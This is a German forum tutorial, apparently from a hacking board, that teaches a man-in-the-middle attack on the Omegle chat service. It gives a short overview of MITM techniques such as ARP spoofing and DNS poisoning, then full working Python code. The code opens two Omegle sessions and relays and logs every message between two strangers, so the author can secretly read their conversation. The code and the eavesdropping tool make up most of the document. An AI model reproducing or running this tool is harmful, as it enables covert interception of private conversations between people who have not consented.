[+]Topic: Tutorials
[+]Von: dav1d
[+]Return: Tutorials

### Omegle.com MITM ### ======================= __author__ = 'dav1d' __code_lang__ = 'python' __license__ = 'MIT' >1< __intro__ >2< __prinzip__ >3< __umsetzung__ >4< __outro__ >1< __intro__ In diesem Paper werde ich euch zeigen wie man eine Man-In-The-Middle Attack auf http://omegle.com ausfuehrt. Was brauchen wir: * Python-Interpreter (recommended: 2.6) Ich werde euch hier das Pronzip einer MITM-Attack zeigen, anhand von Omegle, es wird funktioniere, doch erwartet nicht, dass euch das viel bringt. Am Ende des Papers seit ihr im Stande eine Konversation auf http://omegle.com zu belauschen. >2< __prinzip__ So sieht eine normale Verbindung zwischen 2 Clienten aus (z.B. Homenetzwerk): ________ ________ | | | | | CLIENT |==========================| CLIENT | |________| |________| Kommen wir zur MITM-Attack: ________ ________ | | | | | CLIENT |======\ /======| CLIENT | |________| || ________ || |________| || | | || \==|ATTACKER|==/ |________| In der 2. Grafik ist klar zu Erkennen, dass der ATTACKER den kompletten Netzwerkverkehr, der 2 Clienten kontrollieren bzw. auslesen kann. Es gibt mehrer Arten, wie so eine MITM-Attack ausgefuehrt werden kann (Wikipedia): * Angreifer befindet sich im selben LAN wie der Angegriffene: o Der Angreifer hat physikalischen Zugang zu den Datenleitungen. o Im Ethernet modifiziert der Angreifer die ARP-Tabellen der Opfersysteme und leitet dadurch den gesamten Datenverkehr durch sein System. Diese Methode ermoeglicht auch das Abhoeren des Datenverkehrs an Switches, siehe ARP-Spoofing. Diese Verfahren funktioniert immer dann, wenn der Angreifer und das Opfer im selben lokalen Netz sind. Dies ist auch bei Kabelnetzanbietern und z. B. bei oeffentlichen WLAN-Hotspots gegeben. o Der Angreifer hängt am selben Netzwerkbus wie das Opfer, wodurch ohnehin alle Pakete auch bei ihm ankommen. Dies funktioniert allerdings nur noch bei Netzwerken mit Busstruktur, wie z. B. Ethernet mit Hub oder 10BASE2. o Eine weitere Angriffsmethode dieser Art ist das Vorspielen eines falschen DHCP-Servers. Durch Angabe einer falschen Gateway-Adresse zum Internet kann die Kommunikation durch einen Rechner des Angreifers geleitet werden. * Nur fuer WLAN relevante Angriffe: o Moeglich ist bei oeffentlichen WLAN-Hotspots das Vortäuschen eines falschen WLAN Access Points durch Snarfing. Auch in diesem Fall leitet der falsche Access Point die Daten - nach Auswertung und gegebenenfalls Manipulation - zum korrekten Access Point weiter. * Weitere MITM-Angriffe: o Der Angreifer hat Kontrolle ueber einen Router, durch den der Datenverkehr geschleust wird. Dies funktioniert sowohl im WAN als auch im LAN und im WLAN. o Durch DNS-Cache Poisoning gibt der Angreifer eine falsche Zieladresse fuer die Internet-Kommunikation vor und leitet dadurch den Verkehr durch seinen eigenen Rechner (Poison Routing). o Durch Manipulation der host-Datei auf dem Rechner des Angegriffenen koennen trotz Eingabe der echten URL gefälschte IP-Adressen aufgeloest werden. Simuliert der Angreifer dann einen gueltigen Webserver, hat er gute Chancen, als MITM unerkannt zu bleiben. Siehe dazu: Pharming Mit was kann man MITM-Angriffe verhindern?: * Verschluesselung der Datenpakete * "Fingerprints" (SSH) * SSL Es gibt noch mehr Moeglichkeiten eine MITM-Attack zu verhinden und auch auszufuehren. Wir werden eine Art des Poison Routing verwenden (siehe oben), bei uns wird das Opfer (CLIENT) nicht auf eine falsche Zieladresse geleitet sondern, es wird ueber uns (ATTACKER) mit einem anderen Opfer (CLIENT) verbunden: __________ __________ | | | | | CLIENT1 | | CLIENT2 | |_____ ____| |_____ ____| |SEND |RECV| |SEND |RECV| |_||__|_/\_| |_\/__|_||_| \/ || || /\ || \==<==<==<==\ /==<==<==<==/ || \==>==>==>==>=\ || || /==>==>==>==>=/ _||__/\___\/__||_ | | | OMEGLE-SERVER | |_ __ ___ __ _| || /\ \/ || /==<==<==/ || || \==<==<==\ || /==>==>==/ \==>==>==\ || || || __________ || /\ \/ || | | || || || \==<==<=|READ|==<===<=/ || || | | /\ \/ | ATTACKER | || || | | || \==>==>==>==|READ|==>==>==>===/ |__________| Wie man sieht, wurde die Grafik um einen Server erweitert. D.h. wir sind 2mal mit dem Server verbunden, der Server sendet uns 2mal Daten (von CLIENT1 und CLIENT2), wenn sie bei uns angekommen sind, leiten sie wir weiter: CLIENT1(schreibt) => wir => CLIENT2(liest). >3< __umsetzung__ Was brauchen wir: * OmegelChat-Klasse, die die Events fuer uns handelt * zwei Verbindung jeweils zum: o Senden o Empfangen Es ist erstaunlich einfach, an die Daten von Omegle zu kommen und somit einen eigenen Client zu schreiben, dazu habe ich ein Video vorbereitet <http://bit.ly/omegle-mitm>. In diesem Video zeige ich euch, wie man mit Wireshark an die Daten kommt, die Omegle sendet. Es gibt diese Events: * waiting - Wir muessen noch auf einen Chat-Partner warten. * connected - Wir haben einen Chat-Partner. * typing - Unser Chat-Partner tippt gerade eine Nachricht. * gotMessage - Er hat uns eine Nachricht gesendet. * strangerDisconnected - Der Chat-Partner hat die Verbindung beendet. Die Events kommen immer als JSON an: ------------------------------------------------------------------------------------ try: import json except ImportError: import simplejson as json ------------------------------------------------------------------------------------ Ab Python 2.6 ist das json Modul in der Std-Bibliothek, Python < 2.6 muss simplejson nach installiert werden <http://pypi.python.org/pypi/simplejson/>. Dann gibt es noch verschiedene URLs: * http://omegle.com/start - Einen Chat beginnen * http://omegle.com/disconnect - Verbindung trennen * http://omegle.com/events - Von dort bekommen wir die Events (siehe oben) * http://omegle.com/send - Eine Nachricht versenden * http://omegle.com/typing - Dem Chatpartner anzeigen, dass wir gerade Tippen Diese URLs muessen per POST aufgerufen werden: * start: {} * disconnect, events, typing: {'id': id} * send: {'id': id, 'msg: message} So jetzt kein drum-rum gerede mehr, hier der Code: ------------------------------------------------------------------------------------ #!/usr/bin/env python # -*- coding: utf-8 -*- import sys import threading if sys.version_info[0] < 3: from urllib2 import build_opener from urllib import urlencode else: from urllib.request import build_opener from urllib.parse import urlencode try: import json except ImportError: import simplejson as json from time import sleep # URLs BASE_URL = 'http://omegle.com/' START_URL = 'http://omegle.com/start' DISCONNECT_URL = 'http://omegle.com/disconnect' EVENT_URL = 'http://omegle.com/events' SEND_URL = 'http://omegle.com/send' TYPING_URL = 'http://omegle.com/typing' def parse_event(evt): events = json.loads(evt) if events is None: events = [[u'error', u'null']] return events class OmegleChat(threading.Thread): def __init__(self, id, handler, interval=0.5): threading.Thread.__init__(self) self.id = id self.handler = handler self.interval = interval self.listen = True def run(self): self.opener = build_opener() self.opener.addheaders = [('User-agent', 'Mozilla/5.0')] while self.listen: r = self.opener.open(EVENT_URL, urlencode({'id' : self.id})) raw_events = r.read() events = parse_event(raw_events) r.close() for event in events: if event[0] in self.handler: self.handler[event[0]](self, event[1:]) sleep(self.interval) def typing(self): r = self.opener.open(TYPING_URL, urlencode({'id' : self.id})) r.close() def send(self, msg): if isinstance(msg, unicode): msg = msg.encode('utf-8') r = self.opener.open(SEND_URL, urlencode({'id' : self.id, 'msg' : msg})) r.close() def disconnect(self): self.listen = False r = self.opener.open(DISCONNECT_URL, urlencode({'id' : self.id})) r.close() def stop(self): self.disconnect() def start(handler, interval=0.5): omegle_chat = build_omegle_chat(handler, interval) omegle_chat.start() return omegle_chat def build_omegle_chat(handler, interval=0.5): opener = build_opener() opener.addheaders = [('User-agent', 'Mozilla/5.0')] r = opener.open(START_URL, '') id = r.read().strip('"') r.close() omegle_chat = OmegleChat(id, handler, interval) return omegle_chat def build_id(): opener = build_opener() opener.addheaders = [('User-agent', 'Mozilla/5.0')] r = opener.open(START_URL, '') id = r.read().strip('"') r.close() return id ------------------------------------------------------------------------------------ Die OmegleChat-Klasse erbt von threading.Thread d.h. man kann sie als Thread benutzen, wenn man sie mit .start() aufruft (wie die Funktion start) oder als normale blockierende Klasse, wenn man sie mit .run() aufruft. "handler" muss ein Dictionary sein, welches aus event(key): handler_func(value) besteht z.B.: ------------------------------------------------------------------------------------ handler = {'waiting' : waiting, 'connected' : connected, 'typing' : typing, 'gotMessage' : got_message, 'disconnected' : disconnected} ------------------------------------------------------------------------------------ So die Vorbereitungen sind abgeschlossen, jetzt gehts an die MITM-Attack. Jetzt muessen wir uns nur noch 2mal mit dem Omegle-Server verbinden und ein paar Datenstroeme umlenken (siehe >2< __prinzip__). Den Code von oben in einer Datein namens pythomegle.py speichern. Die Datei muss im selben Verzeichnis liegen, wie der Code: ------------------------------------------------------------------------------------ #!/usr/bin/env python # -*- coding: utf-8 -*- import pythomegle class ChatPartner(object): def __init__(self, name, omegle_chat=None, partner=None): self.name = name self.omegle_chat = omegle_chat self.partner = partner def waiting(self, chat, data): print 'Waiting for', self.name def connected(self, chat, data): print 'Connected to', self.name def typing(self, chat, data): #print self.name, 'is typing' self.omegle_chat.typing() def got_message(self, chat, data): print self.name, data[0] self.omegle_chat.send(data[0]) def stranger_disconnected(self, chat, data): print self.name, 'left' self.partner.omegle_chat.stop() self.omegle_chat.stop() def start(self): self.omegle_chat.start() def MITM_attack(): cp1 = ChatPartner('Stranger1') handler1 = {'waiting' : cp1.waiting, 'connected' : cp1.connected, 'typing' : cp1.typing, 'gotMessage' : cp1.got_message, 'strangerDisconnected' : cp1.stranger_disconnected} evtrecv1 = pythomegle.build_omegle_chat(handler1) cp1.omegle_chat = evtrecv1 cp2 = ChatPartner('Stranger2') handler2 = {'waiting' : cp2.waiting, 'connected' : cp2.connected, 'typing' : cp2.typing, 'gotMessage' : cp2.got_message, 'strangerDisconnected' : cp2.stranger_disconnected} evtrecv2 = pythomegle.build_omegle_chat(handler2) cp2.omegle_chat = evtrecv2 cp1.partner = cp2 cp2.partner = cp1 cp1.start() cp2.start() if __name__ == '__main__': MITM_attack() ------------------------------------------------------------------------------------ Die Klasse ChatPartner handelt die alle Events und leitet sie ggf. weiter, an ihren "partner", eine 2. ChatPartner-Klasse. >4< __outro__ Das wars, ich hoffe ihr habt euch weiterbilden koennen.... ============================================ ### written /\ for: vxnet /\ from: dav1d ### ~> PS: The more they change, the more they stay the same <~